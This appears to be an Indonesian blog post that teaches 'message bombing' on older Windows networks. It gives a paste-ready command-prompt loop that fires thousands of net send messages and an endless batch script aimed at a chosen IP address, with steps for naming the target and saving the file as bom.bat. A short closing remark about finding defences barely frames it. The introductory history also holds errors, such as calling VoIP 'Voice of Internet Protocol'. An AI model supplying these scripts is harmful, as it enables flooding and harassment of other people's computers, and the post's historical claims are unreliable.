MENGIRIM BOM MESSAGE DI JARINGAN KOMPUTER

Kemajuan teknologi informasi dan komunikasi makin tak terdeteksi lagi kecepatan perkembangannya. Setiap saat muncul ide-ide baru dan inovasi untuk kemudahan dalam berkomunikasi lewat jaringan komputer.

Komputer yang dulu kalau hanya digunakan sebagai alat hitung dan pemecah sandi / description (eniac dan unifac). Kemudian berkembang menjadi alat pembantu kebutuhan kantor di masa tahun 1970-an. Dan terus berkembang dengan bahasa pemrograman high level language sehingga bahasa pemrograman komputer lebih mudah digunakan karena kemiripannya dengan bahasa manusia. Sehingga mempengaruhi kemajuan di bidang perkembangan aplikasi maupun sistem operasi.

Mudahnya dalam mengembangkan bahasa pemrograman memicu ide-ide buruk manusia. Sehingga muncul berbagai macam malware seperti virus, trojan, backdoor, worn, dan lain sebagainya, yang kesemuanya itu menyebabkan banyak kerusakan pada sistem operasi maupun pada hadrware komputer.

Sedangkan di tahun 1990-an tren komputer sudah tidak lagi hanya terfokus pada pemrograman dan komputer sebagai alat pembantu pekerjaan kantor. Tetapi lebih jauh lagi komputer dikembangkan sebagai alat komunikasi. Jaringan komputer mulai banyak dipakai di berbagai instansi pemerintahan dan instansi pendidikan. Pensilvania University yang merupakan pioneer dalam pemberdayaan dan pengembangan jaringan komputer menjadi instansi pendidikan yang terus mengembangkan berbagai ide tentang jaringan komputer.

Jaringan komputer telah membantu banyak pekerjaan manusia. Dengan jaringan komputer transfer data seakan menjadi lebih mudah. Dengan jaringan komputer kita dapat melakukan komunikasi dengan pemakai komputer lain di jarak yang jauh dengan berbagai cara, baik itu dengan berkirim pesan maupun langsung bicara lewat VoIP (Voice of Internet Protocol).

Akan tetapi ingatlah bahwa “Kejahatan Selalu Selangkah Lebih Maju”. Hal ini juga terjadi pada jaringan komputer. Setidaknya di jaringan komputer kita menemukan BOM Message. Di sistem operasi berbasis Windows NT / XP / Vista kita dapat melakukan bomber Message dengan begitu mudahnya. Diantaranya adalah dengan menuliskan pada command promp : for /l %i in (1,1,9999) do net send * Boom angka dalam kurung (1,1,9999) menunjukkan berapa kali bom akan dilancarkan. Kalau melihat scrip tersebut akan ada 9999 kali message terkirim “wah…. bisa crash tu komputer yang dapat bom”. Sedangkan tanda * menunjukkan nama komputer ataupun alamat IP yang akan diserang. Wah… harus hati-hati ya… kepemilikan IP kita…. bisa dibom tuch….

Tetapi ada cara lain juga untuk mengebom suatu komputer, dan ini adalah cara yang lebih modern karena dengan memanfaatkan file *.bat. Caranya cukup mudah, di sistem operasi om Bill Gate kita tinggal buka NotePad kemudian copikan scrip berikut :

@echo IP target : ip address

@echo Net Send Bomber siap melakukan serangan bom massal …

@echo tekan enter!!!

:serang

@net send ip address “Serang” !!!!!!

@goto serang

Nah…. dari script di atas ip address diganti dengan alat IP yang mau diserang. Kemudian simpan aja dengan ekstensi *.bat sebagai contoh simpan dengan nama bom.bat

Semoga hal ini dapat menjadi perhatian dan untuk kemudian hari dapat kita mencari penangkalnya sehingga kita tidak diserang dengan bom message yang dilancarkan via IP Address.

Yuk rame-rame pakai Linux biar gak diserang bom kayak gini… heheheeheeee

Referensi to :

http://echo.or.id/forum/viewtopic.php?

Iklan

One comment on “MENGIRIM BOM MESSAGE DI JARINGAN KOMPUTER

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

Logo WordPress.com

You are commenting using your WordPress.com account. Logout / Ubah )

Gambar Twitter

You are commenting using your Twitter account. Logout / Ubah )

Foto Facebook

You are commenting using your Facebook account. Logout / Ubah )

Foto Google+

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s